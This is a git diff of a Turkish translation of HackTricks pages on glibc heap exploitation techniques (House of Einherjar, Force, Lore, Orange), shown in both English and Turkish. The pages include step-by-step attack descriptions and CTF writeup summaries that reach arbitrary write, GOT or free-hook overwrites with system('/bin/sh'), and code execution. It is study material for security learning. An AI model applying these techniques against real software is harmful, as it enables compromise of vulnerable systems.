- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) adresinden örneği kontrol edin
- Ya da [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) adresindeki örneği (tcache'i doldurmanız gerekebilir)
### Goal
### Hedef
- The goal is to allocate memory in almost any specific address.
- Hedef, neredeyse herhangi bir belirli adreste bellek ayırmaktır.
### Requirements
### Gereksinimler
- Create a fake chunk when we want to allocate a chunk:
- Set pointers to point to itself to bypass sanity checks
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- The fake chunk size must also have been set the same size to bypass sanity checks
- For constructing these chunks, you will need a heap leak.
- Bir parça ayırmak istediğimizde sahte bir parça oluşturun:
- Sanity kontrollerini atlatmak için işaretçileri kendisine işaret edecek şekilde ayarlayın
- `PREV_INUSE` bayrağını değiştirmek için bir parçadan diğerine bir null byte ile bir bayt taşması
- Null ile istismar edilen parçanın `prev_size`'ında kendisi ile sahte parça arasındaki farkı belirtin
- Sahte parça boyutu da sanity kontrollerini atlatmak için aynı boyutta ayarlanmış olmalıdır
- Bu parçaları oluşturmak için bir heap leak'e ihtiyacınız olacak.
### Attack
### Saldırı
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
- 2 other chunks (`B` and `C`) are allocated
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
- Then, the tcache is filled
- Then, `C` is freed so it consolidates with the fake chunk `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
- `A` sahte parçası, saldırgan tarafından kontrol edilen bir parça içinde oluşturulur ve `fd` ve `bk` ile orijinal parçaya işaret eder, böylece korumaları atlatır
- 2 başka parça (`B` ve `C`) ayrılır
- `B` parçasındaki bir bayt taşmasını istismar ederek `prev in use` biti temizlenir ve `prev_size` verisi, `C` parçasının ayrıldığı yer ile daha önce oluşturulan sahte `A` parçası arasındaki fark ile üzerine yazılır
- Bu `prev_size` ve sahte parça `A`'daki boyut aynı olmalıdır ki kontrolleri atlatabilsin.
- Sonra, tcache doldurulur
- Sonra, `C` serbest bırakılır, böylece sahte parça `A` ile birleştirilir
- Sonra, sahte `A` parçasında başlayacak ve `B` parçasını kaplayacak yeni bir parça `D` oluşturulur
- Einherjar evi burada sona erer
- Bu, hızlı bin saldırısı veya Tcache zehirlemesi ile devam edilebilir:
- `B`'yi serbest bırakın, hızlı bin / Tcache'e ekleyin
- `B`'nin `fd`'si, hedef adrese işaret edecek şekilde üzerine yazılır ve `D` parçasını istismar eder (çünkü içinde `B`'yi barındırır)&#x20;
- Sonra, 2 malloc yapılır ve ikincisi **hedef adresi ayıracaktır**
## References and other examples
## Referanslar ve diğer örnekler
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
- İşaretçileri serbest bıraktıktan sonra nullify edilmezler, bu nedenle verilerine erişmek hala mümkündür. Bu nedenle, bir parça sıralanmamış bin içine yerleştirilir ve içerdiği işaretçileri sızdırılır (libc leak) ve ardından yeni bir heap sıralanmamış bin üzerine yerleştirilir ve aldığı işaretçiden bir heap adresi sızdırılır.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
- `strtok`'ta null-byte taşma hatası.
- House of Einherjar'ı kullanarak üst üste binen parçalar durumu elde edin ve Tcache zehirlemesi ile bitirerek keyfi yazma ilkesini elde edin.
{{#include ../../banners/hacktricks-training.md}}

70
src/binary-exploitation/libc-heap/house-of-force.md
View File

@ -2,45 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
### Code
### Kod
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
- Bu teknik yamanmıştır ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) ve bu hatayı üretir: `malloc(): corrupted top size`
- İsterseniz bunu test etmek için [**buradaki kodu**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) deneyebilirsiniz.
### Goal
### Amaç
- The goal of this attack is to be able to allocate a chunk in a specific address.
- Bu saldırının amacı, belirli bir adreste bir parça ayırabilmektir.
### Requirements
### Gereksinimler
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
- Be able to control the size of the heap allocation
- Üst parça başlığının boyutunu (örneğin -1) yazmayı sağlayan bir taşma.
- Yığın tahsisi boyutunu kontrol edebilme
### Attack
### Saldırı
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
Eğer bir saldırgan, burada bir değeri yazmak için P adresinde bir parça ayırmak istiyorsa, üst parça boyutunu `-1` ile (belki bir taşma ile) yazmaya başlar. Bu, malloc'un herhangi bir tahsis için mmap kullanmayacağından emin olur çünkü Üst parça her zaman yeterli alana sahip olacaktır.
Sonra, üst parçanın adresi ile tahsis edilecek hedef alan arasındaki mesafeyi hesaplayın. Bunun nedeni, o boyutta bir malloc'un, üst parçayı o konuma taşımak için yapılacak olmasıdır. Farkın/boyutun nasıl kolayca hesaplanabileceği:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Bu nedenle, `target - old_top - 4*sizeof(long)` boyutunu ayırmak (4 long, üst parça ve yeni parça için meta veriler nedeniyle) üst parçayı üzerine yazmak istediğimiz adrese taşıyacaktır.\
Sonra, hedef adreste bir parça almak için başka bir malloc yapın.
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
### Referanslar ve Diğer Örnekler
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
- Bu senaryonun amacı, ret2win fonksiyonunun adresi tarafından çağrılacak bir fonksiyonun adresini değiştirmektir.
- İkili, üst parça boyutunu değiştirmek için istismar edilebilecek bir taşma içeriyor, bu da -1 veya p64(0xffffffffffffffff) olarak değiştirilir.
- Sonra, üzerine yazılacak işaretçinin bulunduğu yere olan adres hesaplanır ve üst parçanın mevcut konumundan oraya olan fark `malloc` ile ayrılır.
- Son olarak, bu istenen hedefi içerecek yeni bir parça ayrılır ve bu, ret2win fonksiyonu tarafından üzerine yazılır.
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- `Input your name:` kısmında, heap'ten bir adres sızdırmaya izin veren bir başlangıç zafiyeti vardır.
- Sonra `Org:` ve `Host:` işlevselliğinde, **org adı** istendiğinde `s` işaretçisinin 64B'sini doldurmak mümkündür; bu, yığında v2'nin adresiyle takip edilir ve ardından belirtilen **host adı** gelir. Bu nedenle, strcpy `s`'nin içeriğini 64B boyutundaki bir parçaya kopyalayacağından, **üst parçanın boyutunu** **host adı** içindeki verilerle **üzerine yazmak** mümkündür.
- Artık keyfi yazma mümkün olduğuna göre, `atoi`'nin GOT'u printf'in adresi ile üzerine yazıldı. Bu, `%24$p` ile `IO_2_1_stderr` adresini sızdırmak için mümkündü. Ve bu libc sızıntısıyla, `atoi`'nin GOT'unu tekrar `system` adresi ile üzerine yazmak ve parametre olarak `/bin/sh` geçmek mümkündü.
- [Bu diğer yazıda önerilen alternatif bir yöntem](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), `free`'yi `puts` ile üzerine yazmak ve ardından daha sonra serbest bırakılacak işaretçiye `atoi@got` adresini eklemektir, böylece sızdırılır ve bu sızıntıyla tekrar `atoi@got`'u `system` ile üzerine yazmak ve `/bin/sh` ile çağırmaktır.
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
- Temizlenmeden serbest bırakılan bir parçayı yeniden kullanmaya izin veren bir UAF vardır. Bazı okuma yöntemleri nedeniyle, burada GOT'taki serbest fonksiyonuna bir işaretçi yazarak bir libc adresini sızdırmak mümkündür ve ardından okuma fonksiyonu çağrılır.
- Sonra, UAF'yi istismar ederek üst alanın boyutunu -1 ile üzerine yazmak, serbest kancaya ulaşacak kadar büyük bir parça ayırmak ve ardından serbest kancayı içerecek başka bir parça ayırmak için House of force kullanıldı. Ardından, kancaya `system` adresini yazın, bir parçaya `"/bin/sh"` yazın ve son olarak bu dize içeriğiyle parçayı serbest bırakın.
{{#include ../../banners/hacktricks-training.md}}

56
src/binary-exploitation/libc-heap/house-of-lore.md
View File

@ -1,44 +1,44 @@
# House of Lore | Small bin Attack
# House of Lore | Küçük bin Saldırısı
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
### Code
### Kod
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) adresindekini kontrol et
- Bu çalışmıyor
- Ya da: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Bu, bazı kontrolleri atlamaya çalışsa bile `malloc(): unaligned tcache chunk detected` hatasını alıyor
- Bu örnek hala çalışıyor: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal
### Hedef
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
- **Küçük bin içinde sahte bir küçük parça eklemek ve ardından bunu tahsis etmek mümkün hale getirmek.**\
Eklenen küçük parçanın, saldırganın oluşturduğu sahte parça olduğunu ve rastgele bir konumda olmadığını unutmayın.
### Requirements
### Gereksinimler
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- 2 sahte parça oluşturun ve bunları birbirine ve küçük bin içindeki gerçek parçaya bağlayın:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (serbest bırakılmış küçük bin parçasındaki bir işaretçiyi başka bir zafiyet aracılığıyla değiştirmeniz gerekiyor)
- `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`.
Sonra `fake0`'ı tahsis edebileceksiniz.
### Attack
### Saldırı
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
- Bir küçük parça (`legit`) tahsis edilir, ardından üst parçayla birleştirmeyi önlemek için başka bir parça tahsis edilir. Sonra, `legit` serbest bırakılır (sıralanmamış bin listesine taşınır) ve daha büyük bir parça tahsis edilir, **`legit` küçük bin içine taşınır.**
- Bir saldırgan birkaç sahte küçük parça oluşturur ve mantık kontrollerini atlamak için gerekli bağlantıları yapar:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (serbest bırakılmış küçük bin parçasındaki bir işaretçiyi başka bir zafiyet aracılığıyla değiştirmeniz gerekiyor)
- `legit.bk` -> `fake0`
- Gerçek parçayı almak için bir küçük parça tahsis edilir, bu da **`fake0`**'ı küçük parçaların üst listesine getirir
- Başka bir küçük parça tahsis edilir, `fake0` bir parça olarak alınır ve içinde işaretçileri okuma/yazma olanağı sağlar.
## References
## Referanslar
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

80
src/binary-exploitation/libc-heap/house-of-orange.md
View File

@ -2,72 +2,72 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
### Code
### Kod
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
- Bir örneği [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) adresinde bulabilirsiniz.
- Sömürü tekniği bu [yamanın](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) içinde düzeltildi, bu nedenle artık çalışmıyor (2.26'dan önce çalışıyordu).
- Daha fazla yorumla aynı örnek [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) adresinde.
### Goal
### Hedef
- Abuse `malloc_printerr` function
- `malloc_printerr` fonksiyonunu kötüye kullanmak.
### Requirements
### Gereksinimler
- Overwrite the top chunk size
- Libc and heap leaks
- Üst parça boyutunu geçersiz kılmak.
- Libc ve heap sızıntıları.
### Background
### Arka Plan
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
[**Bu örnekten**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)** bazı gerekli arka plan:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
Eski libc sürümlerinde, `malloc_printerr` fonksiyonu çağrıldığında, `_IO_list_all` içinde saklanan `_IO_FILE` yapılarına ait bir liste üzerinden **döngü yapar** ve aslında o yapıda bir talimat işaretçisini **çalıştırır**.\
Bu saldırı, **`_IO_list_all`** içine yazacağımız **sahte bir `_IO_FILE` yapısı** oluşturacaktır ve `malloc_printerr`'in çalışmasına neden olacaktır.\
Sonra, **`_IO_FILE`** yapılarına ait atlama tablosunda sakladığımız **herhangi bir adresi** çalıştıracaktır ve kod yürütmesi elde edeceğiz.
### Attack
### Saldırı
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
Saldırı, **sıralanmamış kutu** içindeki **üst parçayı** elde etmeyi başarmakla başlar. Bu, `malloc`'ı mevcut üst parça boyutundan daha büyük ama **`mmp_.mmap_threshold`** (varsayılan 128K) değerinden daha küçük bir boyutla çağırarak elde edilir; aksi takdirde `mmap` tahsisi tetiklenir. Üst parça boyutu değiştirildiğinde, **üst parça + boyut**'un sayfa hizalı olduğundan ve üst parçanın **prev_inuse** bitinin her zaman ayarlandığından emin olmak önemlidir.
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
Sıralanmamış kutu içindeki üst parçayı elde etmek için, üst parçayı oluşturmak için bir parça tahsis edin, üst parça boyutunu (tahsis edilen parçada bir taşma ile) değiştirin, böylece **üst parça + boyut** sayfa hizalı ve **prev_inuse** bit ayarlanmış olsun. Ardından, yeni üst parça boyutundan daha büyük bir parça tahsis edin. `free`'in üst parçayı sıralanmamış kutuya almak için asla çağrılmadığını unutmayın.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**.
Eski üst parça artık sıralanmamış kutuda. İçinde veri okuyabiliyorsak (muhtemelen taşmaya neden olan bir zafiyet nedeniyle), libc adreslerini sızdırmak ve **\_IO_list_all** adresini elde etmek mümkündür.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
Sıralanmamış kutu saldırısı, taşmayı kötüye kullanarak `topChunk->bk->fwd = _IO_list_all - 0x10` yazılarak gerçekleştirilir. Yeni bir parça tahsis edildiğinde, eski üst parça bölünecek ve sıralanmamış kutuya bir işaretçi yazılacaktır.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
Sonraki adım, eski üst parçanın boyutunu küçük bir kutuya sığacak şekilde küçültmektir; özellikle boyutunu **0x61** olarak ayarlamaktır. Bu iki amaca hizmet eder:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
1. **Küçük Kutular 4'e Ekleme**: `malloc` sıralanmamış kutuyu taradığında ve bu parçayı gördüğünde, küçük boyutu nedeniyle onu küçük kutu 4'e eklemeye çalışacaktır. Bu, parçanın, **`_IO_list_all`** parçasının FD işaretçisinin bulunduğu küçük kutu 4 listesinin başına yerleşmesini sağlar; çünkü sıralanmamış kutu saldırısı aracılığıyla **`_IO_list_all`** içinde yakın bir adres yazdık.
2. **Malloc Kontrolünü Tetikleme**: Bu parça boyutu manipülasyonu, `malloc`'ın iç kontrolleri gerçekleştirmesine neden olacaktır. Yanlış ileri parça boyutunu kontrol ettiğinde, bu sıfır olacaktır ve bir hata tetikleyerek `malloc_printerr`'i çağırır.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
Küçük kutunun manipülasyonu, parçanın ileri işaretçisini kontrol etmenizi sağlar. **\_IO_list_all** ile olan örtüşme, sahte bir **\_IO_FILE** yapısını oluşturmak için kullanılır. Yapı, libc'deki iç kontrolleri geçecek şekilde `_IO_write_base` ve `_IO_write_ptr` gibi anahtar alanları içerecek şekilde dikkatlice hazırlanır. Ayrıca, sahte yapının içinde, keyfi kodun (örneğin, `system` fonksiyonu) çalıştırılabileceği adrese ayarlanmış bir talimat işaretçisi bulunan bir atlama tablosu oluşturulur.
To summarize the remaining part of the technique:
Tekniğin kalan kısmını özetlemek gerekirse:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
- **Eski Üst Parçayı Küçültün**: Eski üst parçanın boyutunu **0x61** olarak ayarlayın, böylece küçük bir kutuya sığsın.
- **Sahte `_IO_FILE` Yapısını Kurun**: Eski üst parçayı sahte **\_IO_FILE** yapısıyla örtüştürün ve alanları uygun şekilde ayarlayarak yürütme akışını ele geçirin.
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
Sonraki adım, sıralanmamış kutuda bulunan eski üst parça ile örtüşen sahte bir **\_IO_FILE** yapısı oluşturmaktır. Bu yapının ilk baytları, çalıştırılacak bir komuta (örneğin, "/bin/sh") işaret eden bir işaretçi içerecek şekilde dikkatlice hazırlanır.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
Sahte **\_IO_FILE** yapısındaki anahtar alanlar, libc'deki iç kontrolleri geçecek şekilde ayarlanır. Ayrıca, sahte yapının içinde, keyfi kodun çalıştırılabileceği adrese ayarlanmış bir talimat işaretçisi bulunan bir atlama tablosu oluşturulur. Genellikle bu, `system` fonksiyonunun adresi veya shell komutlarını çalıştırabilen başka bir fonksiyonun adresi olacaktır.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
Saldırı, `malloc` çağrısının manipüle edilmiş **\_IO_FILE** yapısı aracılığıyla kodun çalıştırılmasını tetiklemesiyle sonuçlanır. Bu, genellikle bir shell'in başlatılması veya başka bir kötü niyetli yükün çalıştırılmasıyla sonuçlanan keyfi kod yürütmesine olanak tanır.
**Summary of the Attack:**
**Saldırının Özeti:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
1. **Üst parçayı ayarlayın**: Bir parça tahsis edin ve üst parça boyutunu değiştirin.
2. **Üst parçayı sıralanmamış kutuya zorlayın**: Daha büyük bir parça tahsis edin.
3. **Libc adreslerini sızdırın**: Zafiyeti kullanarak sıralanmamış kutudan okuyun.
4. **Sıralanmamış kutu saldırısını gerçekleştirin**: Taşma kullanarak **\_IO_list_all**'a yazın.
5. **Eski üst parçayı küçültün**: Boyutunu küçük bir kutuya sığacak şekilde ayarlayın.
